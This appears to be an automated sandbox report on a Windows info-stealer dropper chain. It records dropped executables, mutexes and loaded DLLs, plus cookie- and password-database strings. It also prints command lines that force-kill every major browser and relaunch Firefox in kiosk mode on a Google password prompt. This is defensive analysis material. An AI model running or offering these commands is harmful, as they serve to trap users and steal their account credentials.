Source: ZR7XTEYLCJ0IZBOL3C6E.exe.12.dr	Static PE information: Section: wyvqzkuk ZLIB complexity 0.9950803860792885

Source: random[1].exe.10.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: Z72A5QS1XOE2OWTBBJM669OT.exe.12.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: ee8d47a049.exe.10.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 6BWDEAM9H4119O8P9KYSM4M710Q.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: PJGT15Z82T6C2GQS.exe, 00000004.00000002.2516681456.00000000004A1000.00000040.00000001.01000000.00000007.sdmp, PJGT15Z82T6C2GQS.exe, 00000004.00000003.2428440432.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, 36c3130eac.exe, 0000000D.00000003.2956398464.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, 36c3130eac.exe, 0000000D.00000002.2998225047.0000000000F11000.00000040.00000001.01000000.00000010.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@72/23@55/9

Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe

Code function: 7_2_04F115D0 ChangeServiceConfigA,

7_2_04F115D0

Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\C7W1LMZJ.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6196:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4436:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5112:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6548:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6984:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8068:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4860:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5708:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:948:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5796:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: PJGT15Z82T6C2GQS.exe, 00000004.00000002.2518168701.000000000109E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies;
Source: file.exe, 00000000.00000003.2222688766.00000000053E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2235384460.00000000053CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222996695.00000000053B9000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2912728196.0000000005820000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2899319268.00000000057FF000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2898294047.000000000582E000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2912489758.000000000582D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 39%

Source: A94C1J5VAPFWM1J1FS.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: PJGT15Z82T6C2GQS.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 6BWDEAM9H4119O8P9KYSM4M710Q.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: 6BWDEAM9H4119O8P9KYSM4M710Q.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe "C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe "C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe"
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe "C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe "C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe "C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe "C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe "C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe"
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2280 -parentBuildID 20230927232528 -prefsHandle 2224 -prefMapHandle 2220 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b2c4f454-c699-4a59-a93f-d65df88e5316} 2720 "\\.\pipe\gecko-crash-server-pipe.2720" 2681e171110 socket
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Process created: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe "C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001141001\num.exe "C:\Users\user\AppData\Local\Temp\1001141001\num.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe "C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe"
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Process created: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe "C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3916 -parentBuildID 20230927232528 -prefsHandle 3940 -prefMapHandle 3936 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d8e53ce2-8518-4574-94e0-14e7cb60220b} 2720 "\\.\pipe\gecko-crash-server-pipe.2720" 2682e880210 rdd
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Process created: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe "C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe "C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe"
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001141001\num.exe "C:\Users\user\AppData\Local\Temp\1001141001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe "C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe "C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe "C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe "C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe "C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe "C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001141001\num.exe "C:\Users\user\AppData\Local\Temp\1001141001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Process created: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe "C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe"
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Process created: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe "C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe"
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Process created: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe "C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe"
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2280 -parentBuildID 20230927232528 -prefsHandle 2224 -prefMapHandle 2220 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b2c4f454-c699-4a59-a93f-d65df88e5316} 2720 "\\.\pipe\gecko-crash-server-pipe.2720" 2681e171110 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3916 -parentBuildID 20230927232528 -prefsHandle 3940 -prefMapHandle 3936 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d8e53ce2-8518-4574-94e0-14e7cb60220b} 2720 "\\.\pipe\gecko-crash-server-pipe.2720" 2682e880210 rdd
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Section loaded: atlthunk.dll	Jump to behavior
